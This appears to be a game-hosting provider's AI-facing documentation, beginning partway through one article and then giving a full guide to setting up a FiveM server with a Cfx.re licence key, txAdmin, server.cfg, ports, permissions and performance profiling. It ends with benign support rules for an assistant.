`sv_master1 ""` removes the server from the public server list. Use it for a development server you do not want strangers finding, and remember you have set it, because "my server does not appear in the list" is otherwise a long evening.

```diagram
title: What reaches a FiveM server on each protocol
player = Player client | FiveM
udp = UDP 30120 | game traffic
tcp = TCP 30120 | HTTP endpoint
tx = txAdmin | web UI 40120
fx = FXServer | resources
player -> udp : state, voice
player -> tcp : resource files, info.json
udp -> fx
tcp -> fx
tx -> fx : console, restarts
```

#### Troubleshooting a config that will not start

**Nothing happens after a line you edited.** A missing closing quote. The parser consumed the rest of that line, and if the quote was at the end of the file, the last several settings never ran. Search the file for an odd number of quotes.

**The console says the licence key is invalid.** The key is wrong, has been revoked, or is being used on a different address. Keys are tied to the address they run on, so a server that moved needs the key reissued in the Cfx.re portal, not copied.

**Could not find resource.** The folder name does not match the `ensure` line, the folder has no `fxmanifest.lua`, or the folder was added after the server booted and nobody ran `refresh`. Case matters on Linux.

**Players sit on "Loading screen" forever.** Usually a resource erroring during the spawn or character flow. Watch the console while someone joins; the last resource to print before the silence is your candidate. [Reading the console](https://www.renode.space/blog/reading-the-console) is the skill this needs.

**Players cannot connect at all but the server is running.** UDP is not reachable. Confirm both `endpoint_add_tcp` and `endpoint_add_udp` are present and that the port is the one your host allocated to you.

**Clients are told the server is on a different game build.** `sv_enforceGameBuild` does not match what their game has. They need to let GTA update, or you need to lower the enforced build.

**The server ignores `sv_maxclients` above 32.** OneSync is off. Set `set onesync on` and restart the whole server.

On RE:NODE, the FiveM plans come with two port allocations - one for the game endpoint and one for txAdmin's web interface - and you can add more on the Network tab if a resource needs its own. The Startup tab holds the launch variables, `server.cfg` itself is editable in the browser with syntax highlighting or over SFTP, and the console is unfiltered, which is the only way the loading-screen problem above ever gets solved. A weekly restart from the Schedules tab keeps entity counts honest; [restart schedules that help](https://www.renode.space/blog/restart-schedules-that-help) has the reasoning.

#### FAQ

##### Do I need both endpoint_add_tcp and endpoint_add_udp?

Yes, on the same port. UDP carries the game, TCP serves the resource downloads and the JSON endpoints the server list reads. With one missing, the server appears to work right up to the point where a player tries to join.

##### What is the difference between set, sets and setr?

`set` is server-private, `sets` is published to the server list, `setr` is replicated to connected clients. Database passwords and API keys always go in `set`. Anything you would be happy to see on a tracker site can be `sets`.

##### How many players can a FiveM server hold?

Thirty-two without OneSync. With `set onesync on` the software ceiling is far higher than anything you should attempt, and the real answer is whatever your CPU share and resource list support - most servers find their limit somewhere between 48 and 128 with a normal roleplay resource load.

##### How do I make someone an admin?

Add their `license:` identifier as a principal of a group, and grant that group the aces you want. Their licence identifier is printed in the console when they join. If they also need txAdmin, add them there separately - the two permission systems do not talk to each other.

##### Why does my change to server.cfg have no effect?

Convars are read when a resource starts. Editing the value and restarting nothing changes nothing. Restart the resource that reads it, and for `sv_maxclients`, OneSync and endpoints, restart the whole server.

##### Should I turn RCON on?

No. It is an unencrypted protocol from a previous decade and every job it can do is already done by the panel console and txAdmin. Leave `rcon_password` commented out.

FiveM servers on RE:NODE come with txAdmin available, two port allocations with more addable on the Network tab, an in-browser editor for `server.cfg` with syntax highlighting, an unfiltered console with command history, and backup slots on every plan. Bring your own Cfx.re licence key and the server is yours.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM server setup: licence key and txAdmin

Published 2026-06-23, updated 2026-09-21 by RE:NODE Team. https://www.renode.space/blog/fivem-server-and-txadmin

A FiveM server needs a licence key from the Cfx.re keymaster, and the key is issued to you rather than to your host. It records the address the server runs on, which is why moving a server means editing the key rather than copying it across. Everything else - the resources, the framework, the slots, the sync model - is `server.cfg` and txAdmin, and almost every performance complaint you will ever read about FiveM turns out to be a resource rather than a machine.

This guide is the whole path: the key, installing FXServer, the first txAdmin run, the config lines that matter and the ones that quietly break things, ports, permissions, and how to find the script that is costing you your frame time.

#### What FXServer is and what it needs

FXServer is the Cfx.re server binary. It does not contain a game: it hosts resources, which are folders of Lua, JavaScript or C# with an `fxmanifest.lua` describing them, and it tells connected GTA V clients which ones to download and run. A bare FXServer is an empty map with nothing on it. What people mean by "a FiveM server" is FXServer plus a framework - ESX, QBCore, Qbox - plus a hundred or so resources on top.

Two consequences follow immediately. The first is that your server's performance is mostly other people's code: a badly written script you installed because it looked good on a forum is the single most likely cause of a server that stutters. The second is that updating is not one thing. There is the FXServer build, the framework version, each resource, and the GTA V build the server pins clients to, and they move independently.

What you need before you start:

- **A licence key** from `keymaster.fivem.net`. Free, and tied to your Cfx.re account.
- **A machine or a plan.** 2-4 GB for a small server, 6-12 GB for a populated roleplay server. One fast core carries the main thread.
- **One port**, open as both TCP and UDP. The default is `30120`.
- **A database**, if you are running any framework at all. ESX and QBCore both need one.
- **Disk for streamed assets.** Custom vehicles and interiors are the bulk of a large server, and every byte is downloaded by every new player.

#### The Cfx.re licence key

Sign in at `keymaster.fivem.net`, create a server key, and give it the IP address the server will run on and a label you will recognise later. You get a long key that goes into `server.cfg` as `sv_licenseKey`.

The rules around it are short and they are all about ownership:

- **One key per server.** Two servers on one key is a licensing error on the second one, not a clever saving.
- **The key remembers its address.** If the server moves to a different IP, edit the key in keymaster or issue a new one. A key whose address no longer matches fails at startup rather than degrading quietly. [Moving a server without losing players](https://www.renode.space/blog/moving-a-server-without-losing-players) covers the rest of that job.
- **The key is yours and it can be revoked.** Cfx.re revokes keys for servers that break their terms - selling access to game content is the usual reason - and the revocation follows the account, not the machine.
- **It is a credential.** It belongs in `server.cfg` and nowhere else. Not in a screenshot of your console, not in a Discord message, not in a public Git repository along with the rest of your server-data folder.

> [!TIP]
> Put `sv_licenseKey` in a small `secrets.cfg` that `server.cfg` executes, and keep that one file out of version control. Everything else in a server-data folder is worth committing; the key and the database password are not.

#### Installing FXServer and the first txAdmin run

FXServer builds come from the Cfx.re artifacts server at `runtime.fivem.net/artifacts/fivem/`. There is a Linux path and a Windows path, and each lists builds marked recommended and latest. Take the recommended one unless a framework you need explicitly asks for something newer; "latest" exists so that people can test breakage, and they do find it.

The conventional layout keeps the binary and your content apart, so that updating one does not disturb the other:

```text
/home/fivem/
  server/            the extracted artifacts - replaced wholesale on update
  server-data/       your resources, your server.cfg - the thing you back up
    resources/
    server.cfg
```

```bash
$ cd /home/fivem/server-data
$ bash /home/fivem/server/run.sh +exec server.cfg
```

Start it with no arguments at all and you get txAdmin instead, which is the recommended way to set a server up from nothing. txAdmin ships inside the artifacts - there is nothing to install - and it starts a web interface on port `40120` and prints a one-time PIN into the console. Open `http://your-address:40120`, enter the PIN, and create the admin account.

From there the deployer will build a server for you from a recipe: a plain cfx-default server, or a full ESX or QBCore install with its resources fetched and its database schema imported. For a first server that is genuinely the fastest correct route, because the recipe wires up the parts that are tedious to connect by hand. [Choosing a FiveM framework](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox) covers which recipe you actually want, and it is a decision worth ten minutes before you run one.

#### server.cfg, line by line

server.cfg:

```cfg
# Listen on one port as both TCP and UDP
endpoint_add_tcp "0.0.0.0:30120"
endpoint_add_udp "0.0.0.0:30120"

# Resources - order matters, dependencies first
ensure mapmanager
ensure chat
ensure spawnmanager
ensure sessionmanager
ensure hardcap

# What the server list shows
sv_hostname "Longship RP | Serious roleplay | EU"
sets tags "roleplay, esx, eu"
sets locale "en-GB"
set sv_projectName "Longship RP"

# Slots and sync
sv_maxclients 48
set onesync on
set onesync_population true

# Pin the DLC level clients must be on
sv_enforceGameBuild 2699

# Security
sv_scriptHookAllowed 0
set sv_entityLockdown "strict"
set sv_endpointPrivacy true

exec secrets.cfg
```

The lines that people get wrong, in the order they get them wrong:

**`ensure` versus `start`.** `ensure` starts a resource, or restarts it if it is already running. `start` only starts it. Use `ensure` for everything; the difference shows up when you reload the config and half your resources do not come back.

**`set`, `sets` and `setr`.** Three different scopes for a convar. `set` is server-only. `sets` writes it into the server's information block so it appears in the server list. `setr` replicates it to clients so scripts can read it there. A framework that tells you to use `setr` means it; using `set` instead produces a resource that behaves differently on the client for no visible reason.

**`sv_maxclients` and OneSync.** Without OneSync the hard ceiling is 32. With `set onesync on` you are into the Infinity implementation and the ceiling becomes a very large number, which is not the same as your server being able to use it. The real limit on a roleplay server is the scripts, not the flag.

**`sv_enforceGameBuild`.** This pins the DLC level clients must be on. Get it wrong and players are told to change their game build before they can join, which they read as your server being broken. Build numbers change with every GTA Online update, so take the current one from the Cfx.re documentation rather than from a two-year-old tutorial.

**`sv_entityLockdown`.** The values are `inactive`, `relaxed` and `strict`. On a OneSync server, `strict` stops clients creating entities the server did not authorise, and it is the single most effective anti-cheat line in the file. It also breaks badly written resources that spawn things client-side, which is a reasonable filter to apply to your resource list.

**RCON.** FiveM's `rcon_password` is a legacy, unencrypted remote console and there is no good reason to enable it when txAdmin exists. Leave it unset. If you want the general argument, [using RCON safely](https://www.renode.space/blog/rcon-safely) makes it for every game.

Permissions are a separate system from txAdmin's admin list, and confusing the two is a rite of passage:

```cfg
add_ace group.admin command allow
add_ace group.admin command.quit deny
add_principal identifier.license:1a2b3c4d5e group.admin
add_principal identifier.discord:123456789012345678 group.mod
```

An ace is a permission, a principal is a person or a group, and `add_principal` joins the two. txAdmin's own admins are stored in txAdmin and govern the web panel; aces govern in-game commands and resource permissions. Somebody who is a txAdmin admin is not automatically anything in game. [Every line of server.cfg](https://www.renode.space/blog/fivem-server-cfg-explained) takes the rest of the file apart, including the convars frameworks expect you to set.

#### Ports, endpoints and connecting

| Port | Protocol | Purpose |
| --- | --- | --- |
| `30120` | UDP | Game traffic |
| `30120` | TCP | HTTP endpoint: list registration, asset downloads, `/info.json` |
| `40120` | TCP | txAdmin web interface |

The same number carries two different protocols and they fail differently, which makes this the most useful thing to know when a FiveM server misbehaves. UDP open and TCP closed gets you a server that does not appear in the list and that nobody can finish joining, because the initial handshake and the asset download go over HTTP. TCP open and UDP closed gets you players who connect, download everything, and then sit on a black screen.

```diagram
title: What reaches a FiveM server, and over which protocol
player = GTA V client | connect :30120
assets = Asset download | HTTP over TCP
fx = FXServer | resources, scripts
tx = txAdmin | web :40120
db = Database | ESX or QBCore
player -> assets : first join
assets -> fx
player -> fx : UDP game traffic
tx -> fx : starts and monitors
fx <-> db : oxmysql
```

Players join with `connect your-address:30120` in the F8 console, through the server list, or with a `cfx.re/join` link. You can put a name on the address instead of an IP - [connecting a domain to a game server](https://www.renode.space/blog/connecting-a-domain-to-a-game-server) has the A record - though the licence key still cares about the address underneath. [Game server ports explained](https://www.renode.space/blog/game-server-ports-explained) covers testing a port from outside properly, which is worth doing before blaming the config.

#### txAdmin in daily use

The first-run deployer is the part people meet, but the daily value is elsewhere.

- **Scheduled restarts** with in-game warnings at intervals you set. FXServer instances degrade over long uptimes and so do the frameworks running on them; a restart every six or twelve hours is normal practice. [Restart schedules that help](https://www.renode.space/blog/restart-schedules-that-help) covers picking the hour.
- **Crash and hang handling.** txAdmin watches the server's main thread and restarts it if it stops responding, which is the difference between a two-minute outage at 3am and a six-hour one.
- **The player manager.** Every connection is recorded against its identifiers - licence, Steam, Discord, IP - so a ban follows a person rather than a name. Warnings, ban reasons and ban templates all live here, and the history is what you read when somebody appeals.
- **Whitelisting**, by admin approval, by Discord role or by guild membership. For a serious roleplay server this is the feature that makes the rest of the moderation work.
- **The live console**, which is the same output you would get from the terminal, plus a command line. [Reading the console](https://www.renode.space/blog/reading-the-console) is about knowing which lines in that wall of text matter.
- **The performance chart**, which is the subject of the next section and the reason to have txAdmin running before you think you need it.

#### Most lag is a resource, not the machine

> A roleplay server that stutters at forty players almost never needs a bigger plan. It needs someone to read the resource monitor.

FXServer runs your server-side scripts on one main thread. Every resource's work in a tick happens in sequence on that thread, so one script doing something expensive delays everything else - including the sync that players experience as rubber-banding. Adding memory does nothing for this. Adding cores does very little, because the thread that matters cannot be split.

txAdmin's performance chart buckets how long the server's main thread took on each tick. A healthy server spends nearly all its ticks in the fastest bucket. A server with one bad resource grows a tail: a small but steady fraction of ticks taking far longer than they should, which is precisely what players feel as periodic stutter rather than constant lag.

To find the resource:

1. **On the client**, press F8 and run `resmon 1`. This lists every resource with its per-frame CPU time and memory on that client. It only shows client-side cost, but client-side cost is half the problem and the easiest half to fix.
2. **On the server**, use the profiler: `profiler record 500` to capture five hundred ticks, then `profiler save` or `profiler view` to look at where the time went.
3. **Bisect.** Stop half your non-essential resources, watch the chart, put them back. Crude, fast, and it always works.

The patterns that cause it are consistent:

- A thread with `Citizen.Wait(0)` - every single frame - doing work that only needs doing once a second. This is the most common performance bug in the entire FiveM ecosystem.
- Distance checks looping over every player on every frame, instead of over nearby players on a timer.
- Database queries inside a loop. Set `mysql_slow_query_warning` to something like 150 and read what oxmysql prints.
- Events firing far more often than the thing they represent happens.

Streaming assets are a separate problem that looks similar. Custom vehicles and interiors are disk and bandwidth, not CPU: a slow first join is players downloading hundreds of megabytes over your TCP endpoint, and no amount of CPU changes it. Trim the `stream` folders, or accept the wait and tell people about it.

#### Sizing: memory, cores, database and disk

| Server | RAM | vCPU | Notes |
| --- | --- | --- | --- |
| Freeroam or drift, up to 32 slots | 2-3 GB | 1-1.5 | Few resources, little state |
| ESX or QBCore roleplay, 48-64 | 4-6 GB | 2 | The common case |
| Large roleplay, 64-128 slots | 8-12 GB | 2.5-3.5 | Hundreds of resources |

Memory tracks the number of resources and the state they hold rather than the number of players, so a half-empty server with two hundred scripts uses more than a full one with forty. CPU is about the main thread, which means clock speed over core count; extra cores help with asset serving and resource loading rather than with tick time.

Every framework needs a database, and on RE:NODE every FiveM plan includes a database slot created from the panel with a generated host, user and password, plus an "Open in phpMyAdmin" button that signs you in with a one-use token. The connection string goes in the config the same way it would anywhere else:

```cfg
set mysql_connection_string "mysql://user:password@host:3306/database?charset=utf8mb4"
```

[The database and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql) covers the schema import, slow queries and backing the thing up - which matters more on a roleplay server than anywhere else in this catalogue, because the database is the characters and losing it is losing the server.

FiveM plans on RE:NODE run from 2 GB to 12 GB, from $9 a month, with two port allocations, txAdmin available, and your own Cfx.re key entered on the Setup tab. Backup slots come with every plan and the Schedules tab can run a nightly one.

#### Troubleshooting

**"Couldn't load resource X".** A manifest error or a missing dependency. The line immediately above it in the console names the real problem; the resource name is just where it surfaced.

**The server does not appear in the list.** Licence key first, TCP `30120` reachable from outside second. Test by fetching `http://your-address:30120/info.json` from another network - if that fails, nothing else will work either.

**Players are told to change their game build.** `sv_enforceGameBuild` does not match what their client is on. Set it to a current build, or remove it if you use no DLC content.

**Stuck on "awaiting scripts" or a black loading screen.** A resource erroring during startup, or `spawnmanager` and `sessionmanager` missing from the `ensure` list. Read the console from the top, not the bottom.

**txAdmin keeps reporting a hang and restarting.** Something is blocking the main thread for seconds at a time. Profile it before raising the timeout; raising the timeout hides the symptom and keeps the cause.

**Players connect but cannot see each other.** OneSync off on a server with more than 32 slots, or `sv_entityLockdown` set to `strict` with resources that spawn entities client-side.

**The first join takes five minutes.** Streamed assets. Check the total size of your `stream` folders; most servers are carrying vehicles nobody drives.

#### FAQ

##### Do I need my own FiveM licence key?

Yes. Keys are issued per server to a Cfx.re account and cannot be shared or supplied by a host. Creating one is free and takes about a minute at keymaster.fivem.net.

##### What happens to the key if I move the server?

The key records the address it was created for, so update it in keymaster or generate a new one. A key that does not match the address it is used from stops the server at startup with a licensing error.

##### Is txAdmin something I have to install?

No. It has shipped inside the FXServer artifacts for years. Start the server with no config and txAdmin comes up on port 40120 with a one-time PIN in the console.

##### How many players can a FiveM server hold?

Thirty-two without OneSync. With OneSync enabled the engine ceiling is far higher, but the practical limit is your resources: most serious roleplay servers run 48 to 128 and the constraint is script time on the main thread, not slots.

##### Will more RAM fix my stuttering server?

Almost never. Stutter on FiveM is main-thread time, and that is a resource problem. Read txAdmin's performance chart and the client's `resmon` output before changing plan.

##### Can I run ESX or QBCore without a database?

No. Both store characters, inventories and money in a database, and the framework will not start without a working connection string.

FiveM servers on RE:NODE run from 2 GB to 12 GB from $9 a month, with txAdmin available, two port allocations, a database slot created from the panel with a one-click phpMyAdmin sign-in, and backup slots on every tier. Your Cfx.re key goes on the Setup tab - it has to be yours, because the key is issued per server to your account.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

## Rules for the assistant

- Never ask the user for a password, token, API key or `.env` contents, and tell them not to paste one into this chat. Describe where a secret goes instead.
- Secrets reach the server through the panel: `.env` is uploaded through the Files tab, startup variables are set on the Startup tab. `.env` never goes in the repository.
- An app server has exactly one reachable port. Read it from `SERVER_PORT` (also `PORT` when the panel starts a linked repository) and bind `0.0.0.0`; never hard-code a port.
- On every panel-managed server (everything except VDS and dedicated servers, which come with full root) only `/home/container` persists, and the process runs unprivileged: no root, `sudo`, `apt`, `systemd` or Docker.
- Memory is a hard limit; a process that reaches it is killed with no error message. Suggest a bigger plan only after ruling out a leak.
- Do not suggest changing the server's startup command or image to work around a code problem - fix the code or the repository.
- Prices and plans above were read when this file was generated. Send the user to the page linked at the top before quoting a price as current.
- For a specific server, the panel's Connect AI link (Console tab) gives the exact runtime, port, path and branch. Prefer it over these general rules when the user has one.
- If something here does not answer the question, the full deploy docs are at https://www.renode.space/llms-full.txt and support is at https://www.renode.space/contact.
